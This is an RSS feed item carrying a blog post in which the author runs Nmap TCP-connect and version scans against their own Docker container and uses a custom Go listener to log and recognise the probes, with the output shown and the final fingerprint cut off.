<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Chris</title>
    <description>The latest articles on Forem by Chris (@brompwnie).</description>
    <link>https://forem.com/brompwnie</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F316164%2F59866453-7d78-48bb-b417-c74bddfe5ec3.jpg</url>
      <title>Forem: Chris</title>
      <link>https://forem.com/brompwnie</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/brompwnie"/>
    <language>en</language>
    <item>
      <title>Analyzing NMAP scans for fun (Part 1)</title>
      <dc:creator>Chris</dc:creator>
      <pubDate>Tue, 01 Aug 2023 08:04:04 +0000</pubDate>
      <link>https://forem.com/brompwnie/analyzing-nmap-scans-for-fun-profit-and-understanding-part-1-gb9</link>
      <guid>https://forem.com/brompwnie/analyzing-nmap-scans-for-fun-profit-and-understanding-part-1-gb9</guid>
      <description>&lt;h1&gt;
  
  
  CAVEAT: This post is a few years old, its been sitting in my draft folder since 2021.
&lt;/h1&gt;

&lt;h1&gt;
  
  
  Introduction
&lt;/h1&gt;

&lt;p&gt;In this post, I'm going to describe a tool that I created which can be used to analyse and react to TCP data sent by NMAP scan probes. The analysis of NMAP scan probes can be used to answer questions like "What does an NMAP scan look like on the TCP stack?" or "How can I identify NMAP scans on my network?". Also let me add that this is not "new" research, analysing NMAP and its probes has been done many times before. I'm a fan of reinventing the wheel for my own amusement which generally helps me understand things better and of course, it's been a while since I've seen any new NMAP deep-dives. Enjoy :)&lt;/p&gt;

&lt;p&gt;The analysis of the NMAP probes can be used as a detection canary that can be used by blue-teamers to identify if an actor is running NMAP scans on their network infrastructure. Additionally, the analysis of NMAP probes can be used by red-teamers to understand how their tools behave and "look on the wire".&lt;/p&gt;

&lt;p&gt;Okay that was a lot for an introduction so let's break the tool down and see what it does.&lt;/p&gt;

&lt;h3&gt;
  
  
  TCP Socket Handling
&lt;/h3&gt;

&lt;p&gt;First and foremost, this tool is essentially a multi-threaded TCP socket server. This functionality is used by the tool so that NMAP scans can be directed at the tool and the operator of the tool can observe the behaviour of the TCP socket connections made by NMAP. NMAP makes use of threads so by making the tool able to handle multiple connections concurrently. This is super useful because you can process all the connection probes made by NMAP. Let's go ahead and run the tool and scan it with some NMAP defaults.&lt;/p&gt;

&lt;p&gt;NOTE: I am running all of this in Docker and the tool is configured via Environmental variables.&lt;/p&gt;

&lt;p&gt;In one Docker container, build and run the tool to listen on port 80 and set TERM=nmap. "TERM" is the search term(string) we tell the tool to look for in the TCP data received:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;root@78b5ecfeb870:/work# export PORT=80
root@78b5ecfeb870:/work# export TERM=nmap
root@78b5ecfeb870:/work# go build -o garbanzo &amp;amp;&amp;amp; ./garbanzo 
2020/06/10 12:02:40 $GARBANZO_WEB must be set
2020/06/10 12:02:40 $GARBANZO_HOST must be set
2020/06/10 12:02:40 [+] Initialised Listener on Port: 80
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And in another Docker container, we launch an NMAP scan against the server container which has the IP address 172.17.0.2. We are using the "-sT" flag because we are in a non-privileged container and do not have the required Linux Capabilities to create raw sockets [1].&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;root@f5f84eb31bc0:# nmap -sT 172.17.0.2
Starting Nmap 7.70 ( https://nmap.org ) at 2020-02-02 UTC
Nmap scan report for 172.17.0.2
Host is up (0.00014s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE
80/tcp open  http
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and after the scan is done, we can see that NMAP detected port 80 to be open, which is correct.&lt;/p&gt;

&lt;p&gt;Our server output will look like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;root@78b5ecfeb870:/work# export PORT=80
root@78b5ecfeb870:/work# export TERM=nmap
root@78b5ecfeb870:/work# go build -o garbanzo &amp;amp;&amp;amp; ./garbanzo 
2020/01/01 12:12:12 $GARBANZO_WEB must be set
2020/01/01 12:12:12 $GARBANZO_HOST must be set
2020/01/01 12:12:12 [+] Initialised Listener on Port: 80
2020/01/01 12:12:12 [+] [d5eff754572a65e648960245a43eba98beb0ce714c4d7dd95d7278a7063acbfb] Port:80 Connection:1 from:172.17.0.3:49106
2020/01/01 12:12:12 [ERROR] [d5eff754572a65e648960245a43eba98beb0ce714c4d7dd95d7278a7063acbfb] read tcp4 172.17.0.2:80-&amp;gt;172.17.0.3:49106: read: connection reset by peer
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The output above from the tool indicates that a single TCP connections was made to port 80 and error occurred when the server attempted to read data from the stream. The error is expected because NMAP by default will reset the connect if it can make a connection. This is all the info NMAP needs to determine if a port is open, if it can successfully open a connection, then it must be open. In the output above, there is a SHA256 hash "d5eff754572a65e648960245a43eba98beb0ce714c4d7dd95d7278a7063acbfb" which is a unique identifier for the connection. This is useful for when there are multiple connections. The tool uses this hash with all activities associated to a connection. We'll see more of this in the section.&lt;/p&gt;

&lt;h3&gt;
  
  
  NMAP Service and Version Detection
&lt;/h3&gt;

&lt;p&gt;Let's now use the "-sV" flag with our NMAP command as we want NMAP to try and extract "metadata" or the service and version of the open ports. This is useful from an attackers perspective because we want to gather as much information as possible on our target. We can try this by running the following command from our NMAP container:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;root@f5f84eb31bc0:/go# nmap &lt;span class="nt"&gt;-sT&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; 172.17.0.2 &lt;span class="nt"&gt;-p&lt;/span&gt; 80    
Starting Nmap 7.70 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2020-02-02  UTC
Nmap scan report &lt;span class="k"&gt;for &lt;/span&gt;172.17.0.2
Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.00014s latency&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And below is the corresponding output generated by the tool:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;+] Initialised Listener on Port: 80
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;2b24f34f93697ce707cd9d61323b70a2b54457c3dd330f7d5e5d7bd4ebbb8f66] Port:80 Connection:1 from:172.17.0.3:51198
&lt;span class="o"&gt;[&lt;/span&gt;ERROR] &lt;span class="o"&gt;[&lt;/span&gt;2b24f34f93697ce707cd9d61323b70a2b54457c3dd330f7d5e5d7bd4ebbb8f66] &lt;span class="nb"&gt;read &lt;/span&gt;tcp4 172.17.0.2:80-&amp;gt;172.17.0.3:51198: &lt;span class="nb"&gt;read&lt;/span&gt;: connection reset by peer
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;8297b9be5c9314c96c57af36e56dd5b14cf32884a16227906199ca8ddf8ee431] Port:80 Connection:2 from:172.17.0.3:51200
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;02210c50dac4565cb66cb1623623b9e4efe9d5638e666160e25769458679ee6d] Port:80 Connection:3 from:172.17.0.3:51202
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;14746282e65da35beba19df6fa78bde2419b8a16e072a1a95ad8bc807f5f9716] Port:80 Connection:4 from:172.17.0.3:51204
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;74264732650f84c3084ed23f15be3aa6290e3faf1289ce276bd20b0c3a168cf5] Port:80 Connection:5 from:172.17.0.3:51206
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;2cb82e31bbb4b06ad2c3ccb234e07a8aec8c5c75e046af3096740260842e4bac] Port:80 Connection:6 from:172.17.0.3:51208
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;51be251174fd9ee7424ba7a27bf512c2f2097f285dd46ca212240ae4209587d9] Port:80 Connection:7 from:172.17.0.3:51210
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;9e5be1a5dce881f7ba3ef51d5a66b2f17f2fb7014b0324d14ff8e273248a044c] Port:80 Connection:8 from:172.17.0.3:51212
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;31f2d6fb2c6b769be4948a987deb4a62d2f67392c86d6faa7d1e4bd02c174254] Port:80 Connection:9 from:172.17.0.3:51214
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;6dd8b57b9bd35fea1490b872c6c729d9bc882e3af29f1b24993749921eb5e0fd] Port:80 Connection:10 from:172.17.0.3:51216
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;d1fc77dbec734b6958203c3102bf98c2562539e9825216e200b3bdce0211e3f2] Port:80 Connection:11 from:172.17.0.3:51218
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;635da8a96fe12207e71977854eb49e95fa315a3ec712da9e79bda4aa03338273] Port:80 Connection:12 from:172.17.0.3:51220
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;ed6270327f3ef77886ea3e4cb6c07866d0750154f38ad1f21f2ffce7ddef70b7] Port:80 Connection:13 from:172.17.0.3:51222
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;4099a9996900ca19503a60b0434ce295ebb7400ad7f84002f16be2a47dacbb68] Port:80 Connection:14 from:172.17.0.3:51224
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;1dab93852e0749e263bb9c5deca00fed53fe8a5001b719d116016ed7d1d43e81] Port:80 Connection:15 from:172.17.0.3:51226
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;f2354e58c621369521f4de50a0b7d430b3bc79f395ea237ac5ca2f979e638353] Port:80 Connection:16 from:172.17.0.3:51228
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;f442e24b6110226e818d96c399b8cb56c8936381df4126ba80101f4c8ac6a1cd] Port:80 Connection:17 from:172.17.0.3:51230
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;0bd2ae1db2c1c1544af266eeba31f7ed6ee24ad7582f24a6c9a50735dd9747e2] Port:80 Connection:18 from:172.17.0.3:51232
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;628883d43eec1ce919a06b7dc39ed8962918f14342d2f389fda82e3bac6e1888] Port:80 Connection:19 from:172.17.0.3:51234
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;18d9fb07f6254ff16a27159a0c8f4d6d4d729de94a0f1361a10347c6265729fd] Port:80 Connection:20 from:172.17.0.3:51236
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;5f5660a93b7802af41fc135f0bb1e4cd4cec0f19d9875ba194aeb3518423ff9c] Port:80 Connection:21 from:172.17.0.3:51238
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;0f2d4808a0826f65efcb2491efe957835a5b18853dae03cc5e8d1957919b6cf8] Port:80 Connection:22 from:172.17.0.3:51240
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;39c77dc5d34efd2871b8315a5e0778e31ff4a124a4bcd91345047ce666375f43] Port:80 Connection:23 from:172.17.0.3:51242
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;b041e718af47ea6c851c9a5cbaf50290a47099c327b3ffcbfaedffc970ff73d5] Port:80 Connection:24 from:172.17.0.3:51244
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;346cbcbc95c1ae7f2fc82acb85d6e8a51ab44a7c894929843d8740ba6feebc2a] Port:80 Connection:25 from:172.17.0.3:51246
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;6128ee2cbdb3618ed21e147e8874fc7a534e0f1da4c8286de7d0012646cadebb] Port:80 Connection:26 from:172.17.0.3:51248
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;098a8bee69382aabb4acd7130e7c66791666e5fa189902ef17f1cd44cf223b1b] Port:80 Connection:27 from:172.17.0.3:51250
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;eeb53a2542d3ea71f725353cf8b1d064ab11e8667eb29e023124b6103aa097ae] Port:80 Connection:28 from:172.17.0.3:51252
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;875091a5aabf395a62db73a49c0f844d6f4cde28cdc0bf27b0346f6de4be299b] Port:80 Connection:29 from:172.17.0.3:51254
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;effa187e4a8757b2356bc23fdac4c28b2fc9b3dd6983538d3b9c3fd7c30bb764] Port:80 Connection:30 from:172.17.0.3:51256
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;0600560cc19cdf6185663d128ebaee3550cdf4a17ceb5a89c68500d9593a6d46] Port:80 Connection:31 from:172.17.0.3:51258
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;2e3fe6ada0d67914119272dcf6f9b7367b841b2773c8999a341b09120cd6cfd9] Port:80 Connection:32 from:172.17.0.3:51260
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;8a7ced242e7d833644403eec43543f0b2250af048b594e1dd96c12ac148b4f1d] Port:80 Connection:33 from:172.17.0.3:51262
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;8a7ced242e7d833644403eec43543f0b2250af048b594e1dd96c12ac148b4f1d] nmap Probe:1 from connection: 33 :[GET /nmaplowercheck1591880218 HTTP/1.1
&lt;span class="o"&gt;][&lt;/span&gt;474554202f6e6d61706c6f776572636865636b3135393138383032313820485454502f312e310d0a]
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;d30f053fbd9b19ddf4ceb2fc4a43f900584ad7f58130ebb7c16f634701ab00ef] Port:80 Connection:34 from:172.17.0.3:51264
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;b4ac67dec3cc4c117e69057b5edc7e71350c0d2ccba6c8369159a589ccaf1285] Port:80 Connection:35 from:172.17.0.3:51266
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;b4ac67dec3cc4c117e69057b5edc7e71350c0d2ccba6c8369159a589ccaf1285] nmap Probe:2 from connection: 35 :[GET /nmaplowercheck1591880218 HTTP/1.1
&lt;span class="o"&gt;][&lt;/span&gt;474554202f6e6d61706c6f776572636865636b3135393138383032313820485454502f312e310d0a]
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;5db9eee927b2f08180debcbc69e626fd31cbbd2b78d038fc9077e47c5eeb556e] Port:80 Connection:36 from:172.17.0.3:51268
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;cf407790610951aa8966c88322aa0a3e7d46f4ace9cc89e8427acdf5bfbcdf0d] Port:80 Connection:37 from:172.17.0.3:784
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Woah okay that's a lot of output, lets break it down and see what it says. Firstly, we can see that NMAP made a total of 37 connections to the tool&lt;br&gt;
&lt;br&gt;
 &lt;code&gt;...Port:80 Connection:37...&lt;/code&gt;&lt;br&gt;
&lt;br&gt;
. We can also see that the tool identified probes that contained our search "term" which we set to "nmap". Remember, this term basically tells the tool to search for that character sequence (case insensitive btw) in any data sent from the client (NMAP). Here's the first probe that the tool detected:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;...
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;8a7ced242e7d833644403eec43543f0b2250af048b594e1dd96c12ac148b4f1d] Port:80 Connection:33 from:172.17.0.3:51262
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;8a7ced242e7d833644403eec43543f0b2250af048b594e1dd96c12ac148b4f1d] nmap Probe:1 from connection: 33 :[GET /nmaplowercheck1591880218 HTTP/1.1][474554202f6e6d61706c6f776572636865636b3135393138383032313820485454502f312e310d0a]
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;d30f053fbd9b19ddf4ceb2fc4a43f900584ad7f58130ebb7c16f634701ab00ef] Port:80 Connection:34 from:172.17.0.3:51264
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;From the output above, we can see that it was connection 33 that sent the request that contained an HTTP request that contained the term "nmap". Okay that's interesting, we now know that behaves differently with the -sV flag in terms of the amount of TCP connections made and the data sent from NMAP. We can also see that NMAP continues the behaviour of "connecting" and "resetting" the connection first to determine if the port is opened, this can be seen with the following output specifically:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;[&lt;/span&gt;+] Initialised Listener on Port: 80
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;2b24f34f93697ce707cd9d61323b70a2b54457c3dd330f7d5e5d7bd4ebbb8f66] Port:80 Connection:1 from:172.17.0.3:51198
&lt;span class="o"&gt;[&lt;/span&gt;ERROR] &lt;span class="o"&gt;[&lt;/span&gt;2b24f34f93697ce707cd9d61323b70a2b54457c3dd330f7d5e5d7bd4ebbb8f66] &lt;span class="nb"&gt;read &lt;/span&gt;tcp4 172.17.0.2:80-&amp;gt;172.17.0.3:51198: &lt;span class="nb"&gt;read&lt;/span&gt;: connection reset by peer
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;8297b9be5c9314c96c57af36e56dd5b14cf32884a16227906199ca8ddf8ee431] Port:80 Connection:2 from:172.17.0.3:51200
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Below is the NMAP out from the scan we just analysed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sT&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; 172.17.0.2 &lt;span class="nt"&gt;-p&lt;/span&gt; 80
Starting Nmap 7.70 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2020 UTC
Nmap scan report &lt;span class="k"&gt;for &lt;/span&gt;172.17.0.2
Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.000099s latency&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;

PORT   STATE SERVICE VERSION
80/tcp open  http?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V&lt;span class="o"&gt;=&lt;/span&gt;7.70%I&lt;span class="o"&gt;=&lt;/span&gt;7%D&lt;span class="o"&gt;=&lt;/span&gt;6/11%Time&lt;span class="o"&gt;=&lt;/span&gt;5EE229CA%P&lt;span class="o"&gt;=&lt;/span&gt;x86_64-pc-linux-gnu%r&lt;span class="o"&gt;(&lt;/span&gt;GetR
SF:equest,1F,&lt;span class="s2"&gt;"{&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;e2&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;c9NKo3&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;07&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;c7Bs&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;a3&lt;/span&gt;&lt;span class="se"&gt;\t&lt;/span&gt;&lt;span class="s2"&gt;I&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;07&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;90Y&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;8d&lt;/span&gt;&lt;span class="se"&gt;\)\x&lt;/span&gt;&lt;span class="s2"&gt;94h&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;7f&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;aaD&lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="s2"&gt;
SF:xbc&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;cd&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;11&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;b2&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;85&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;d0&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;ff"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;%r&lt;span class="o"&gt;(&lt;/span&gt;HTTPOptions,85,&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\(\x&lt;/span&gt;&lt;span class="s2"&gt;1f&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;ce&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;be&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;fa&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;f5&lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="s2"&gt;
SF:xa4&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;fa!y&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;1e&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;d4;2&lt;/span&gt;&lt;span class="se"&gt;\^\x&lt;/span&gt;&lt;span class="s2"&gt;d9;Y&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;99&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;a6&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;1eAO&lt;/span&gt;&lt;span class="se"&gt;\"\x&lt;/span&gt;&lt;span class="s2"&gt;10&amp;amp;W&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;f1VUj&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;d3{8&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;e2h&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;9
SF:9&lt;span class="se"&gt;\0&lt;/span&gt;s&lt;span class="se"&gt;\x&lt;/span&gt;01s5oC_&lt;span class="se"&gt;\x&lt;/span&gt;1fu&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;b9&lt;span class="se"&gt;\x&lt;/span&gt;c4&lt;span class="se"&gt;\*&lt;/span&gt;wS&amp;amp;&lt;span class="s1"&gt;'\x9d\xe3A&amp;lt;\xf5\xba\xa9\xe4\x9fQ\xdb
SF:\xf7\(P\x95\xc8NL\xdf@9\xc0\x04g\x1a\xad\xbd\xefh=\x89\x18'&lt;/span&gt;v&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="nb"&gt;fc&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;a0t&lt;span class="se"&gt;\x&lt;/span&gt;
SF:02&lt;span class="se"&gt;\x&lt;/span&gt;ce&lt;span class="se"&gt;\x&lt;/span&gt;b1&lt;span class="se"&gt;\x&lt;/span&gt;f8&lt;span class="se"&gt;\x&lt;/span&gt;1d&lt;span class="se"&gt;\x&lt;/span&gt;18&lt;span class="se"&gt;\x&lt;/span&gt;cb&lt;span class="se"&gt;\x&lt;/span&gt;98I&lt;span class="se"&gt;\x&lt;/span&gt;85&lt;span class="se"&gt;\x&lt;/span&gt;e0O&lt;span class="se"&gt;\x&lt;/span&gt;a4B&lt;span class="se"&gt;\x&lt;/span&gt;a7&lt;span class="se"&gt;\|\x&lt;/span&gt;11&lt;span class="se"&gt;\x&lt;/span&gt;ad&lt;span class="se"&gt;\x&lt;/span&gt;ec&lt;span class="se"&gt;\x&lt;/span&gt;c9&lt;span class="se"&gt;\x&lt;/span&gt;f1
SF:&lt;span class="se"&gt;\x&lt;/span&gt;93&lt;span class="se"&gt;\x&lt;/span&gt;ceu&lt;span class="se"&gt;\x&lt;/span&gt;80&lt;span class="se"&gt;\x&lt;/span&gt;8c&lt;span class="se"&gt;\x&lt;/span&gt;17p&lt;span class="se"&gt;\x&lt;/span&gt;ed&lt;span class="se"&gt;\x&lt;/span&gt;felf&lt;span class="se"&gt;\x&lt;/span&gt;b0&lt;span class="se"&gt;\x&lt;/span&gt;1f&lt;span class="se"&gt;\x&lt;/span&gt;8bM&lt;span class="se"&gt;\x&lt;/span&gt;f4&lt;span class="se"&gt;\x&lt;/span&gt;8fw&lt;span class="se"&gt;\x&lt;/span&gt;ff&lt;span class="s2"&gt;")%r(RTSPRequ
SF:est,26,"&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;dc&lt;span class="se"&gt;\x&lt;/span&gt;a5&lt;span class="se"&gt;\x&lt;/span&gt;8ar&lt;span class="se"&gt;\x&lt;/span&gt;e7&lt;span class="se"&gt;\x&lt;/span&gt;97&lt;span class="se"&gt;\)\x&lt;/span&gt;9f&lt;span class="se"&gt;\x&lt;/span&gt;cc&lt;span class="se"&gt;\x&lt;/span&gt;07&lt;span class="se"&gt;\x&lt;/span&gt;e2h&lt;span class="se"&gt;\x&lt;/span&gt;c6hG0&lt;span class="se"&gt;\x&lt;/span&gt;12&lt;span class="se"&gt;\x&lt;/span&gt;cc&lt;span class="se"&gt;\x&lt;/span&gt;aa&lt;span class="se"&gt;\x&lt;/span&gt;b6
SF:&lt;span class="se"&gt;\x&lt;/span&gt;9dj&lt;span class="se"&gt;\x&lt;/span&gt;008&lt;span class="se"&gt;\x&lt;/span&gt;a7&lt;span class="se"&gt;\x&lt;/span&gt;8d&lt;span class="se"&gt;\x&lt;/span&gt;fd&lt;span class="se"&gt;\t\x&lt;/span&gt;cf&lt;span class="se"&gt;\x&lt;/span&gt;e9U&lt;span class="se"&gt;\x&lt;/span&gt;c3&lt;span class="se"&gt;\x&lt;/span&gt;9e&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;96l&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;93&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;ff"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;%r&lt;span class="o"&gt;(&lt;/span&gt;FourOhFourR
